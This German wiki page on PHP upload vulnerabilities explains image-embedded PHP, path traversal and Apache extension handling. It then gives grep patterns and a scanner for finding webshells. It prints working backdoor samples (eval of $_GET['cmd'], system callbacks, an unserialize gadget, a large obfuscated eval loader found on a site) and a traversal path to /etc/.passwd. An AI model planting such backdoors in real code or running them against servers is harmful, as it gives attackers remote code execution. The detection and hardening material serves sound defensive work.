PHP - Upload Vulnerabilities
Links[Bearbeiten]
https://www.damianschwyrz.de/content/php-backdoors-und-shells-finden-eine-kurze-anleitung - interessanter Artikel mit einigen Suchpatterns https://medium.com/@igordata/php-running-jpg-as-php-or-how-to-prevent-execution-of-user-uploaded-files-6ff021897389 https://www.damianschwyrz.de/content/php-backdoors-und-shells-finden-eine-kurze-anleitung (viele Beispiele)
Neben gehackten FTP Zugängen oder Accounts sind Uploads durch Frontend oder Backenduser eine der beliebtesten Methoden um Schadcode auf den Server zu bringen.
Wie funktioniert der Upload schädlicher Dateien[Bearbeiten]
Der Hacker muss für 2 Dinge sorgen:
- schädliche Datei auf den Server laden
- die Datei von außen ausführen können
PHP Dateien werden entweder direkt durch aufrufen ausgeführt oder über eine Datei (meist index.php) geroutet. Dies funktioniert i.d.R. über include, require etc.
Außerdem gibt es "gefährliche" Funktionen. Die Eval Funktion z.B. führt Code aus der an Sie übergeben wird. Das macht sie für Hacks interessant.
Ein Hacker versucht also eine Datei direkt auf dem Server zu platzieren, oder / und vorhandene Dateien zu manipulieren, so dass sie Code ausführen können oder per include etc. Code nachladen.
PHP - Schmuggler[Bearbeiten]
Wenn ein User Dateien über ein Webforumular hochladen darf werden die hochgeladenen Dateien bestenfalls durch einige Maßnahmen geschützt. PHP-Dateien sollte der Webserver immer ablehenen. Doch die Erkennung hat Schwächen. Alleine die Endung einer Datei (.jpg, .php, .exe) garantiert nicht, dass die Datei von einem keinem Programm gelesen wird.
PHP in Bildern und anderen Dateien[Bearbeiten]
Bilddateien enthalten neben den Bildinformationen auch Textinformationen (z.B. EXIF Daten, Datei-Header...) Wenn man Code in die Datei schreiben könnte und PHP dazu bringt diesen Code auszuführen, könnte man Code leichter auf den Server bringen, denn der Upload von Bildern ist oft erlaubt.
Man sollte annehmen, dass PHP nur Code aus gültigen PHP Dateien ausführt. Aus Kompatibilitätsgründen ist das aber nicht so. Interessanterweise gibt PHP Dateien, die mit include integriert werden direkt aus:
<h1>Problem?</h1> <img src="troll-face.jpg"> <?php include "./troll-face.jpg";
Das Ergebnis des include Statements ist Buchstabensalat. Erst mal kein Problem. Wenn man aber mit einem EXIF-Editor in das Camera maker Feld Code in dieser Art einfügt:
<?php echo "
Yep, a problem!
"; phpinfo(); ?>
interpretiert PHP den
<?php ... ?> // could also be <?= ... ?>
Abschnitt als gültigen PHP Code und führt diesen aus. Wenn ein include mit Variablen arbeitet kann es also gefährlich werden:
// bad example, do not use!
if (substr($file, 0, strlen($folder)) === $folder) {
include $file;
}
Includes - Pfade manipulieren[Bearbeiten]
Oft werden relative Pfade benutzt um in includes Dateien zu integrieren.
/path/to/folder/../../../../../../../another/path/from/root/
Wenn ein User Bilder hochlädt werden diese z.B. in einen speziellen Ordner der auf der User Eingabe basiert hochgeladen.
include $folder . "/" . $_GET['some']; // or $_POST, or whatever
Das ist eine schlechte Idee, denn ein User könnte auch so etwas senden:
../../../../../../etc/.passwd
Generell sollte man in Includes besser mit PHP Funktionen wie:
basename() realpath()
arbeiten. So lassen sich die Pfade nicht mehr manipulieren.
Beispiel Filecheck[Bearbeiten]
<?php
/**
* Example for the article at medium.com
* Created by Igor Data.
* User: igordata
* Date: 2017-01-23
* @link https://medium.com/@igordata/php-running-jpg-as-php-or-how-to-prevent-execution-of-user-uploaded-files-6ff021897389 Read the article
*/
/**
* Check that path is really inside that folder, and return path if yes, and false if not.
* @param String $path Path to check
* @param String $folder Path to folder, where $path have to be in
* @return bool|string False on fail, or $path on success
*
*/
function checkPathIsInFolder($path, $folder) {
if ($path === '' OR $path === null OR $path === false OR $folder === '' OR $folder ==== null OR $folder ==== false) {
/* can't use empty() because it can be a string like "0", and it's valid path */
return false;
}
$folderRealpath = realpath($folder);
$pathRealpath = realpath($path);
if ($pathRealpath === false OR $folderRealpath === false) {
// Some of paths is empty
return false;
}
$folderRealpath = rtrim($folderRealpath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
$pathRealpath = rtrim($pathRealpath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
if (strlen($pathRealpath) < strlen($folderRealpath)) {
// File path is shorter that a folder path. This file can't be inside that folder.
return false;
}
if (substr($pathRealpath, 0, strlen($folderRealpath)) !== $folderRealpath) {
// Path to a folder of file is not equal to a path to a folder where it have to be located
return false;
}
// OK
return $path;
}
Das Problem mit den File-Extensions[Bearbeiten]
Eine Datei mit dem Namen shell.php.jpg wird als Bild interpretiert, sollte man annehmen, denn die letzte Extension ist .jpg. Was den Browser betrifft stimmt das auch. Apache sieht das aber in vielen Fällen anders. Wenn in der PHP Konfiguration steht:
AddHandler php5-cgi .php
Sieht Apache erst mal folgendes vor:
Filenames may have multiple extensions and the extension argument will be compared against each of them.
Das heißt eine Datei kann mehrere Extensions haben und daher kann so eine Datei auch als PHP ausgeführt werden. Verhindern läßt sich das mit so einer Konfiguration:
<FilesMatch "[^.]+\.php$"> SetHandler php5-cgi </FilesMatch>
So werden nur Dateien mit der Endung .php am Ende als PHP ausgeführt.
Beispiele[Bearbeiten]
https://www.murawski.ch/2012/03/php-trojaner-von-adveconfirm/
Eval is Evil[Bearbeiten]
Z.B. über Manipulierte Bider die vom Apache als PHP interpretiert werden versucht der Angreifer PHP Dateien einzuschleusen. Oft wir die eval Funktion genutzt um dann über _POST übermittelten Code ausführen zu können. Beispiel für ein einfaches Remote Control Script mit einfacher Cachierung:
$qV="stop_";
$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]); // stop_ wird zu _POST
if(isset(${$s20}['q760097'])){
eval(${$s20}['q760097']); // Wenn der POST Parameter q760097 übermittelt wird wird der Wert als Code ausgeführt
}
Virensucher[Bearbeiten]
Beispiel von: https://www.murawski.ch/wp-content/uploads/2015/03/virensucher.txt testet verschiedene Patterns (noch nicht getestet) Todo testen
<?php
echo '<h1>PHP Virensucher</h1>
<UL><li>Suchen ohne Fingerprint: Generische Suche</li>
<li>Suchen mit Fingerprint: Spezifische Suche</li></UL>
<form action="'.$_SERVER[PHP_SELF].'" method="GET">
REGEX String zum Suchen: <input type="text" name="a" value="" />
<input type="submit" name="do" value="Scan" />
</form>
Copyright © 2015 by <a href="http://wuk.ch/">web updates kmu GmbH</a>';
function getDir($dir) {
$dh = opendir($dir);
while($file = readdir($dh)) {
if($file != "." && $file != "..") {
$datei = $dir."/".$file;
$g = "";
if(is_dir("$dir/$file")) {
getDir("$dir/$file");
}
elseif (substr($file,-4) == ".php" AND $datei != $_SERVER[SCRIPT_FILENAME]) {
if (is_readable($datei)) {
$fp = fopen($datei,"r");
$inhalt = fread($fp,filesize($datei));
@fclose($fp);
if ($_GET['a'] != "" AND preg_match_all("/.*".$_GET['a'].".*/",$inhalt,$treffer,PREG_OFFSET_CAPTURE)) {
if ($g == "") { echo "<b>".$dir."/".$file.":</b>"; }
echo "<pre>";
foreach ($treffer as $a) {
if (substr($a[0][0],0,1) != "" AND substr($a[0][0],0,2) != "//") {
echo htmlspecialchars ($a[0][0]) ."\n";
}
}
echo "</pre>";
}
else {
if (preg_match_all("/.*eval[\s|\t|\(].*[Bb].*[aA].*[sS].*[eE].*6.*4.*_.*[dD].*[eE].*[Cc].*[oO].*[dD].*[eE].*/s",$inhalt,$treffer,PREG_OFFSET_CAPTURE)) {
if ($g == "") { echo "<b>".$dir."/".$file.":</b>"; }
echo "<font color=\"red\">Eval und base64_decode</font><pre>";
foreach ($treffer as $a) {
if (substr($a[0][0],0,1) != "" AND substr($a[0][0],0,2) != "//") {
echo htmlspecialchars ($a[0][0]) ."\n";
}
}
echo "</pre>";
$g++;
}
if (preg_match_all("/.*eval[\s|\t|\(].*/",$inhalt,$treffer,PREG_OFFSET_CAPTURE)) {
echo "<b>".$dir."/".$file.":</b>";
echo "<pre>";
foreach ($treffer as $a) {
if (substr($a[0][0],0,1) != "" AND substr($a[0][0],0,2) != "//") {
echo htmlspecialchars ($a[0][0]) ."\n";
}
}
$g++;
if (preg_match_all("/.*[Bb].*[aA].*[sS].*[eE].*6.*4.*_.*[dD].*[eE].*[Cc].*[oO].*[dD].*[eE].*/",$inhalt,$treffer,PREG_OFFSET_CAPTURE)) {
foreach ($treffer as $a) {
if (substr($a[0][0],0,1) != "" AND substr($a[0][0],0,2) != "//") {
echo htmlspecialchars ($a[0][0]) ."\n";
}
}
$g++;
}
echo "</pre>";
}
if (preg_match_all("/.*[Bb].*[aA].*[sS].*[eE].*[1-9]*.*_.*[dD].*[eE].*[Cc].*[oO].*[dD].*[eE].*/",$inhalt,$treffer,PREG_OFFSET_CAPTURE)) {
echo "<b>".$dir."/".$file.":</b>";
echo "<pre>";
foreach ($treffer as $a) {
if (substr($a[0][0],0,1) != "" AND substr($a[0][0],0,2) != "//") {
echo htmlspecialchars ($a[0][0]) ."\n";
}
}
$g++;
echo "</pre>";
}
if (preg_match_all("/.*getcwd[\s|\t|\(].*/",$inhalt,$treffer,PREG_OFFSET_CAPTURE)) {
echo "<b>".$dir."/".$file.":</b>";
echo "<pre>";
foreach ($treffer as $a) {
if (substr($a[0][0],0,1) != "" AND substr($a[0][0],0,2) != "//") {
echo htmlspecialchars ($a[0][0]) ."\n";
}
}
$g++;
if (preg_match_all("/.*move_uploaded_file[\s|\t|\(].*/",$inhalt,$treffer,PREG_OFFSET_CAPTURE)) {
foreach ($treffer as $a) {
if (substr($a[0][0],0,1) != "" AND substr($a[0][0],0,2) != "//") {
echo htmlspecialchars ($a[0][0]) ."\n";
}
}
$g++;
}
echo "</pre>";
}
}
} else {
echo "<b>".$dir."/".$file.':</b> <font color="red"><b>ALERT: not readable</b></font><br/><br/>';
}
}
}
}
closedir($dh);
}
if ($_GET['do'] == "Scan") {
getDir($_SERVER[DOCUMENT_ROOT]);
}
?>
Beispiele für Backdoors und Shells[Bearbeiten]
https://www.damianschwyrz.de/content/php-backdoors-und-shells-finden-eine-kurze-anleitung
Wer sich mit dem Thema häufig beschäftigt, der stellt fest, dass Backdoors allgemein immer ganz ähnlich aufgebaut sind. Manche sind „dumm“, andere sind „gut/schlau“ umgesetzt. Fast alle kann man allerdings mehr oder weniger aufwendig finden. Es gibt Dutzende Methoden, wie man Schadcode bzw. „Hintertüren“ verstecken kann. Einige simple Beispiele zeige ich euch im Folgenden: 5.1. Beispiele für Hintertüren
Der Klassiker:
@eval($_GET['cmd']);
Sieht erstmal nicht bedrohlich aus, aber kann enormen Schaden anrichten: $_GET[‚cmd‘] speichert den Inhalt, den man per URL folgendermaßen überträgt: index.php?cmd=[mein inhalt]. Dieser Inhalt kommt in die Funktion „eval“. Diese macht nichts anderes als „ausführen“. Das vorangestellte „@“ unterdrückt ggf. auftretende Fehler. Diese Art von Backdoor kommt relativ häufig vor – das allerdings in diversen Abwandlungen und Arten der Übertragung.
Die bessere Version:
@extract($_POST)
@die($a($b))
Dieser Code ist schon schwerer zu finden bzw. zu erkennen. Man muss sich hierfür schon etwas besser mit PHP ausgekennen. Im Grunde speichert „extract“ alles in einzelne Variablen. In dem Fall könnte man dem Script per POST schicken: a=eval&b=phpinfo(); und es würde die Funktion phpinfo() ausgeführt. Auch hier hat man das @ zur Unterdrückung von Fehlern.
Die hinterhältige Version:
array_diff_uassoc([$_GET['cmd']=>], [0], 'system');
Richtig viel Spaß hat man mit solchen Backdoors. Hier wird die Callback-Funktion „system“ mit dem Inhalt, der über $_GET[‚cmd‘] kommt gefüttert. Denkbar wäre so etwas wie:
index.php?cmd=ls -al
PHP hat massenhaft solche Funktionen, einige erlauben das Mitschicken von Parametern, wie etwa array_diff_uassoc oder array_diff_ukey, andere erlauben lediglich das Ausführen von simplen parameterlosen Funktionen. Hier könnte man das simple Beispiel nehmen:
array_filter([1,2,3,4],'phpinfo');
Relativ unbekannt, aber wirksam:
class class_ausgabe
{
public $var1 = '1';
public $var2 = '2';
public function var_ausgabe()
{
echo $this->var2;
}
public function __destruct()
{
eval($this->aaa);
}
}
$eingabe = @unserialize($_GET['cmd']);
Hier hat man zwar den Hinweis „eval“, aber das kann extremst gut ausgebaut und verkleinert sowie versteckt werden. Wem „Magic Functions“ in PHP etwas sagen, der wird hoffentlich wissen, dass man NIE, wirklich NIE, direkt Daten an unserialize() übergeben soll. unserialize() führt vollautomatisch einige dieser Funktionen aus. Entweder man bastelt sich damit einen Backdoor oder nutzt bestehende Klassen in bekannten CMS aus. Piwik hatte da mal enorme Probleme mit.
Wie das ganze getriggert wird? So:
index.phpcmd=O:13:“class_ausgabe“:1:{s:3:“aaa“;s:10:“phpinfo();“;}
Fundstücke[Bearbeiten]
Albmusikanten Beispiel mit Obfuscation
$v4R6IAZ = Array('1'=>'L', '0'=>'f', '3'=>'O', '2'=>'P', '5'=>'s', '4'=>'t', '7'=>'k', '6'=>'R', '9'=>'i', '8'=>'g', 'A'=>'o', 'C'=>'w', 'B'=>'A', 'E'=>'u', 'D'=>'1', 'G'=>'0', 'F'=>'h', 'I'=>'C', 'H'=>'B', 'K'=>'W', 'J'=>'E', 'M'=>'3', 'L'=>'H', 'O'=>'4', 'N'=>'q', 'Q'=>'K', 'P'=>'a', 'S'=>'G', 'R'=>'r', 'U'=>'Y', 'T'=>'D', 'W'=>'d', 'V'=>'U', 'Y'=>'S', 'X'=>'N', 'Z'=>'e', 'a'=>'c', 'c'=>'j', 'b'=>'J', 'e'=>'V', 'd'=>'M', 'g'=>'5', 'f'=>'x', 'i'=>'9', 'h'=>'T', 'k'=>'8', 'j'=>'Z', 'm'=>'6', 'l'=>'l', 'o'=>'n', 'n'=>'X', 'q'=>'7', 'p'=>'2', 's'=>'F', 'r'=>'b', 'u'=>'Q', 't'=>'p', 'w'=>'v', 'v'=>'y', 'y'=>'m', 'x'=>'I', 'z'=>'z');
function vCQD98O($vQ42CKR, $vBU5QZ2){$vECTZ7N = ''; for($i=0; $i < strlen($vQ42CKR); $i++){$vECTZ7N .= isset($vBU5QZ2[$vQ42CKR[$i]]) ? $vBU5QZ2[$vQ42CKR[$i]] : $vQ42CKR[$i];}
return base64_decode($vECTZ7N);}
$v65621A = 'bSsDWSF0aSszavBixIxMdTVzUc7C3T8OUc8CdzBpXhjFjyupUKsc3TdOdKxf3YxqI8A7Upi5rMx82YB9x'.
'p6yXYxqI967jKjFWKfGnpscWSlwr9BixIWSPKflaGDFr9aqI967jKjFWKfGnMezjeiFPysOxTG8WLbDjh5QbS6ljysDrL6'.
'0UpFFaoXlWIBixIWnPKg7rMWz1hJvXhJo3CAQuSlEPeizjnuAbpevayivnpfwjva5hled'.
'hI7qI7Htryl0apeGQIW5rpW0jnbvrMbzbvCCQh5QuSlEPeizjnuAbpDFZsilZSecWn6trpg0WSl4jYa5dI7qI7Hzjn60WSl4j'.
'ei5PKDtWI8CQh5QuLXlWsi4UKWtUDifWKiGjnX0aoeEWSl4jY8CQh5QuS6ljylEjY8oeDX2nDjsVl'.
'XbhGOo1IBod9OD1cJoQh5QIylyQSWlWsi4UKWtUDifWKiGjnX0jMHcQI7'.
'txL5QxIB8xSjDryXGPKiExsWhhMXGaylCapfFapFlav87UnbvUn7txL5QxIB8xIB8xIHvjn6DayO8PnX0UnbvUn7AbSsvaysgQYB'.
'/xSsvaysgnpDFaI8oeDX2aM6vPnHzrSszPSezbvC8bSsvaysgQYBmxLXGaylCapfFapFl'.
'av87UnbvUn7t3CA8xIB80uA8xIB8bsiuhDXVxTG8eDX2aM6vPnHzrSszPSezQI60VJiheI7qI9B'.
'8xIB7nGX2hG4b6YBixsWhhMXGaylCapfFapFlav87nGX2hG4b6Y7qIoGQIyjDryX'.
'GPKiExLWzrGfwjplEQI78ZCA8xIB8PSeFjSevQIWxes6u1zJEdI'.
'BGdTu8hyiGxJjwWKg7bv7qI9B8xIH7PKVAxcuCXIxt3CtiI8tyWKgcWSlwr9HnVGi'.
'zjn6crpiRPKVAbS55xI6pQYHqI9B8xIB7nGX2hG4b6e57PDG82YB7Wc5QxIB8xLXlWSXwrp4t'.
'jY87PvC8bLUt3CtiI8ttj98FjKDCWL7AbSsDWSF0aSszav7txL5QxIB8xSlyQSlzapeG'.
'QI60VJihes5oaSszavWWQYByb9BArKuDQI60VJihes5oaSszavWWQYBi2Y'.
'B7UneGPsiCUnXzQY7QxIB8xIB8xIHnVGizjn6crpiRPKVArKuDQI60VGeYe7eYKvWxes6unGF2VDuonY75x'.
'I6FWn6AnMHFaMdt3CAQxIB8xSlyxI8FPnXzjnuAbsiThGi1YVerrKuDQI60VGeYe7eYKvWxes6unGF2VDuonYlWQYHk0IBAbsi'.
'ThGi1YVerrKuDQI60VGeYe7eYKvWxes6unGF2VDuonYlWxIJixI6FWn6AnMHFaMdtQuA8xIB8xIB8xLWzrGfwjplEQI7'.
'qIoGQIyjDryXGPKiExSscWSlwrlbTQI78ZCA8xIB8PKUAxVB7nDH2VD6rbMBfbDGtxL5QxIB8xIB8xIB7UYBixSsva'.
'ysgQBA8xIB8xIB8xIB8xIB9WKgFrKV9xTG+xLHAasiDrys4jY8t1BA8xIB8xIB8xIB8xIB9aSFCnMjlaoXtrpO9xTG+xLHAaLjla'.
'oXtrpOAQYCQxIB8xIB8xIB8xIB8xoWzrDipjnbzPKiEx9Bi29HnVGi0e7eYVGl2h9CQxIB8xIB'.
'8xIB8xIB8xoXFjye4rp6lx9Bi29HBPKgtnpWlWI8oapsyjei4rp6lbv7QxI'.
'B8xIB8xIBt3CA8xIB8xIB8xSecPSk8apevPKs5PntlQI6FQh5QxIB8xLG8jKfzjYHqI9B8xIB8'.
'xIB8jnjFrI87nDH2VD6rbMBfbDGt3CA8xIB80utiIylyQIHlrnHGZY87nDH2VD6rbpJonY78QuA8xIB8PKUAPnXzjnuA'.
'bS6ljysDrL60UKXGPKiEQYByb9HyWKgcWSlwrlilZSlzWLdAbpscWS'.
'lwr9a819B7jSeyUne5WsiFUM6trpOtQuA8xIB8xIB8xI60VJihes5oUYWWxTG8'.
'bS6ljysDrL60UKXGPKiE3CA8xIB8jKfzjuA8xIB8xIB8xI60VJihes5oUYWWxTG8bD'.
'XlUGlEjyko3Cttj988xKe4aL6gQI60VJihes5oUYWWQYByb9HyWK'.
'gcWSlwrlilZSlzWLdAbpscWSlwr9a819B7nDH2VD6rbpJonY78Qu'.
'A8xIB8Ups5rsiDapevnpjDrydAbpscWSlwr9a819B7nDH2VD6rbpJonY7qIyeOPnuq';
eval(vCQD98O($v65621A, $v4R6IAZ));
Hilfreiche Tipps[Bearbeiten]
Aus dem Artikel: https://www.damianschwyrz.de/content/php-backdoors-und-shells-finden-eine-kurze-anleitung Im Artikel sind noch einige Screenshots
TODO Formatieren
PHP Backdoors finden – einige Befehle[Bearbeiten]
Beispielausgabe einer PHP Shell mittels grep
Im Folgenden findet man einige Befehle mit grep, die enorm dabei behilflich sind, Hintertüren und Shells aufzuspüren. Gleichzeutig muss beachtet werden, dass hier oft Falschmeldungen erzeugt werden und man sich jede Meldung anschauen muss. a)
grep '(\$([a-zA-Z0-9]{1,15})([ ]{0})=([ ]{0})\$([a-zA-Z0-9]{1,15})\()' . -riE -C 5 --include=* --color
grep '(\$([a-zA-Z0-9]{1,15})=\$([a-zA-Z0-9]{1,15}))' . -riE -C 5 --include=* --color
Bei diesem Befehl wird nach dem Muster „$befehl1=$befehl2(„. Viele Hintertüren verschleiern gerne auf diese Art und Weise den Code. Dabei wird über „$befehl2“ z.B. per COOKIE ein Funktionsname übertragen (eval, system, …).
Hier kann man allgemein etwas variieren:
grep '(\$([a-zA-Z0-9]{1,15})([ ]{0,2})=([ ]{0,2})\$([a-zA-Z0-9]{1,15})\()' . -riE -C 5 --include=* --color
Der Befehl unterscheidet sich nur gering, aber zeigt auch Backdoors an, die das Muster „$befehl1 = $befehl2(“ besitzen. Klar ist, dass es hier extrem viele Falschmeldungen geben wird!
grep '(system|eval|exec|passthru|getcwd|shell_exec|phpinfo|chmod|mkdir|fopen|readfile|call_user_func|shell_exec|assert|create_function|getcwd|exec|lave|document_write)([ ]{0,2})\(' . -irE -C 5 --include=* --color
Der Befehl ist vergleichsweise einfach. Es wird nach dem Muster „befehl(„, „befehl (“ oder „befehl (“ bezogen auf bestimmte Befehle gesucht. Man wird hier ebenfalls recht viele Falschmeldungen bekommen, da viele Funktionen von beliebten Scripte und Plugins ganz legal verwendet werden. Aber der Befehl schnappt sich auf jeden Fall die Klassiker unter den PHP Backdoors:
Ergebnis - Beispiel 3
Im Screenshot sind vor allem die erste sowie die beiden letzten Zeilen eindeutig Hintertüren. In der Mitte sieht man WordPress Corefunktionen. c)
grep '(\$\_(POST|COOKIE|REQUEST|GET|SERVER)\[(.*){1,15}\]([ ]{0,1})\(([ ]{0,1})(\$\_(POST|COOKIE|REQUEST|GET|SERVER)))' . -irE -C 5 --include=* --color
Hiermit werden Muster á la „if (isset($_COOKIE[„id“])) @$_COOKIE[„user“]($_COOKIE[„id“]);“ aufgespürt. Im ersten Cookie („user“) steht der Befehlsname, z.B. „eval“ und im zweiten Cookie („id“) der auszuführende Befehl, beispielsweise „phpinfo();“. Ein normaler Besucher führt mit dem Code nichts aus, wer sich allerdings hin setzt und mit gängigen Browserplugins die Cookies so hinmanipuliert, wie oben beschrieben, führt beim Besuch beliebigen Schadcode aus. In freier Wildbahn passiert das am Ende immer automatisiert über Bots. Das muss natürlich allgemein nicht über Cookies passieren. Der Weg über URL-Parameter oder POST-Parameter ist ebenfalls möglich. d)
grep '(chr\(([0-9]{1,3})\)\.)' . -riE -C 5 --include=* --color
Durchaus wichtig ist dieses Snippet. Blackhats verwenden oft die Funktion chr() zur Verschlüsselung von Zeichen und verketten diese. Hiermit lässt sich das recht schnell aufdecken. Als Beispiel-Backdoor habe ich bei einem Kunden folgenden gefunden (Ausschnitt): Ergebnis - Beispiel 4 e)
grep '(\@(die|extract|system|eval|exec|passthru|getcwd|mkdir|fopen|readfile|call_user_func|shell_exec|assert|create_function|file_get_contents|fopen|chmod|include))' . -riE -C 5 --include=* --color
Auch hiermit werden eher einfach Backdoors gefunden, als markant wird hier vor allem die Fehlerunterdrückung mit Hilfe des „@“ vor dem Befehl angenommen. Das ist immer ein gutes Indiz, dass etwas nicht stimmt. Programmiert man sauber, braucht man sich diesen Mittels nicht zu bedienen, trotzdem neigen viele Plugin- und Theme-Entwickler dazu so Fehler zu unterdrücken, daher sind hier sicher auch Falschmeldungen zu erwarten.
Ein Beispiel für ein gutes Ergebnis könnte so aussehen: Ergebnis - Beispiel 5 f)
grep '((unserialize|eval|call_user_func|passthru|document_write|shell_exec|assert|create_function|getcwd|system|exec|lave|extract|openssl_decrypt|gzuncompress|str_rot13|unescape|base64_decode|strrev|edoced_46esab)([ ]{0,1})\(([ ]{0,4})\$\_(POST|REQUEST|SERVER|COOKIE|GET))' . -riE -C 5 --include=* --color
Der Code ist vergleichbar mit dem aus e), erfasst aber noch zusätzlich die typischen Übertragungsarten von Daten. Klugerweise würde man vor e) eher f) ausführen. Beide zu Kombinieren – vor allem, was die Befehle angeht, kann nicht verkehrt sein. g)
grep '((openssl_decrypt|gzuncompress|str_rot13|chr\(ord|unescape|base64_decode|strrev|edoced_46esab)([ ]{0,2})\(([ ]{0,2}))' . -riE -C 5 --include=* --color
PHP bietet diverse Möglichkeiten Daten und Strings zu codieren/zu verschlüsseln. Mit dem Befehl oben kann man Backdoors auf die Schliche kommen, die die bekanntesten Features nutzen. Als Beispiel an einem Pseodo-Beispiel aus dem Internet, bei dem str_rot13() zum Einsatz kommt: Ergebnis - Beispiel 6 h)
grep '((;|[ ]{0,2})(eval|call_user_func|passthru|document_write|shell_exec|assert|create_function|getcwd|system|exec|lave|extract)([ ]{0,2})\(([ ]{0,3})\$(\_|[a-zA-Z0-9]))|(array_diff_ukey([ ]{0,2})\(([ ]{0,2})\[([ ]{0,2})\$|array_diff_uassoc([ ]{0,2})\(([ ]{0,2})\[([ ]{0,2})\$)' . -riE -C 5 --include=* --color
Hier haben wir einige weitere Nuancen, die man oft in PHP-Hintertüren zu sehen bekommt. Der Befehl kombiniert teilweise oben vorgestellte Befehle mit beliebten Mustern von Blackhats. i)
grep '(eval|passthru|shell_exec|assert|create_function|getcwd|system|exec|lave|extract)([ ]{0,2})\(([ ]{0,2})(openssl_decrypt|gzuncompress|str_rot13|chr\(ord|unescape|base64_decode|strrev|edoced_46esab)' . -riE -C 5 --include=* --color
Als durchaus effektiv erweist sich dieser Befehl. Viele Backdoors sind nach dem Muster aufgebaut: ausführen(entschlüsseln(nutzereinhabe)). Hiermit schnappt man eine große Anzahl von hinterhältigen PHP Codes. Hierzu ein Beispiel mit aus der Konsole: Ergebnis - Beispiel 7 j)
Durchaus ergiebig kann auch der folgende Befehl sein – hier wird es aber zu vielen Falschmeldungen kommen – da muss man wissen, wonach man sucht:
grep '("\ \.\ ")' . -riE -C 5 --include=* --color
Ergebnis - Beispiel 8 k)
Hin und wieder sind Angreiffer auf Black Hat SEO aus – so wird versucht die Seite als Backlinkquelle zu missbrauchen. Ein schönes Beispiel für so etwas, findet man im Folgenden. Hier werden beim Abrufen der Seite – wenn u.a. der Google Bot die Seite besucht – zusätzlich Beiträge angezeigt, die der normale Nutzer nicht sieht. Im Vorfeld hat der Angreifer hunderte Posts in der Datenbank hinterlegt, das meiste verlinkend auf Warez-Seiten. So konnte der Angreifer bequem auf soliden und bekannten Seiten Backlinks zu seinem Warez Portal aufbauen. Das fiese war hier, dass der Nutzer das quasi nicht gesehen hat, denn das add_action wirkt auch im Backend von WordPress.
Wie man so etwas nun bequem filtern kann? Das wäre eine Möglichkeit, mit der Zeit wächst hier auch die Liste an Begriffen, die in dieses Spektrum fallen.
grep '((%|)(torrent|warez|viagra|pills|traffic|fucked|porn)(%|))' . -riE -C 5 --include=* --color
l)
Sonstige „interessante“ greps:
grep '(eval\/|\$GLOBALS|\$\{")|\.\$' . -riE -C 5 --include=* --color
Bei allen Befehlen a) bis l) muss immer geschaut werden, ob die Ausgabe tatsächlich eine harmlose Funktion oder einen Backdoor zeigt. Im Zweifelsfalls sollte man sich das Original besorgen, was bei WordPress Themes und Plugins einfach ist und per „diff“ abgleichen!
Keiner der Befehle ist perfekt, man kann quasi alles irgendwie umgehen. Die Befehle dienen eher dazu die Menge an Dateien, die man sich genauer anschauen muss, einzugrenzen!
Das Problem bei diesem Vorgehen ist, dass man am Ende wissen muss, was vor einem zu sehen ist. Das heißt im Klartext, dass man zumindest Grundkenntnisse in PHP haben muss, um wirklich halbwegs einen Backdoor erkennen zu können. 6.2. PHP Shells auf dem Webspace suchen
Meistens wird mit den Befehlen aus 6.1. problemlos eine Vielzahl von PHP Shells entdeckt. Die sollte man direkt löschen – soweit klar. Wer etwas weiter gehen will, der kann folgenden Befehl verwenden:
grep '(c99|r57|cq99|liz0zim|kacak|zehir)' . -riE --include=*
Er sollte die beliebtesten Webshells finden. Natürlich gibt es auch hier hunderte verschiedene Scripte, die Blackhats verwenden können.
Viele Antivirus-Programme sind ebenfalls recht gut darin PHP Shells zu finden. Es lohnt sich also durchaus mal alles herunterzuladen und mit dem Programm des Vertrauens abzuscannen. ClamAV kann hierzu natürlich ebenfalls verwendet werden und ist sogar recht effizienz bei der Suche:
nice -n 19 clamscan /pfad/zu/deiner/seite/ -r -i | grep " Malware?"
6.3. Modifikationen in der .htaccess
Ein durchaus interessantes Thema ist auch die Modifizierung der .htaccess-Datei. Auffällig ist, wenn man alle Besucher einer Seite auf eine andere weiter leiten lässt. Daher findet man so etwas kaum! Was Blackhats allerdings oft machen ist einen internen Rewrite von einem Bild auf eine PHP-Datei zu setzen. Der Aufruf einer Bilddatei wird vom Server intern als PHP interpretiert. Das ist ganz nett, weil man in den Logs nicht sieht, dass da eigentlich eine PHP-Datei aufgerufen wird. Die Lösung:
grep '(SetHandler|x-httpd-php)' . -riE --include=.htaccess
Auch hier sollte man aber wissen, was in der .htaccess sein darf und was nicht. Grundwissen zum Thema schadet nicht. 6.4. Ausnutzung interner Funktionen
Im Fall von WordPress gibt es einige interessante interne Funktionen, die zumindest im Backend zur Verfügung stehen und von Blackhats genutzt werden – das passiert aber relativ selten und ist recht schwer zu entdecken. Ein sehr simples Beispiel mit get_file wäre:
get_file($_GET['url]);
Mit dieser WordPress-Funktion kann man lokale Dateien per file_get_contents (inklusive Fehlerunterdrückung) einbinden. Wenn man an der Stelle etwas ideenreich ist, kann man damit schöne Hintertüren bauen, die unauffällig sind. 6.5. PHP-Dateien aus dem „uploads“-Ordner löschen
PHP-Dateien haben im „wp-content/uploads/“-Ordner nix zu suchen und sind in fast allen Fällen PHP Shells, die dort platziert wurden, weil der Ordner in den meisten Fällen beschreibbar ist.
Mit dem Befehl findest du alle PHP-Dateien in einem definierten Ordner:
find wp-content/uploads/ -name "*.php*" -print
Die index.php mit dem Inhalt „Silence is golden“ können natürlich verbleiben! 7. Webspace sauber! Was nun?
Du hast den WordPress-Kern ersetzt. Du hast alle PHP Backdoors, Shells und sonstiges gefunden und beseitigt. Trotz variieren der oben genannten Befehle findest du keine neuen Probleme?
Dann wäre jetzt der Zeitpunkt die „neue“ saubere Version deines Blogs hochzuladen und die alte komplett zu ersetzen. Vergiss hierbei nicht, die Ordner der alten Version wirklich zu löschen – ansonsten bleiben zumindest alte Dateien vorhanden.
Zur .htaccess fügst du nun unter dein „deny from all“ ein „allow from [DEINE IP ADRESSE]“ ein. So kannst du als einzige Person auf den Blog zugreifen. Jetzt machst du noch alle Updates für deinen Blog und prüfst ob alles funktioniert. Aktuelle Plugins garantieren zwar nicht, dass sie keine Sicherheitslücken haben, aber bekannte Lücken werden so eben geschlossen. Jetzt heißt es Logs beobachten! Wenn du gründlich warst, wars das fürs erste!
Nicht zu vergessen wäre auch: Ändere unbedingt alle Passwörter – d.h. Datenbank und FTP! 8. Zum Abschluss
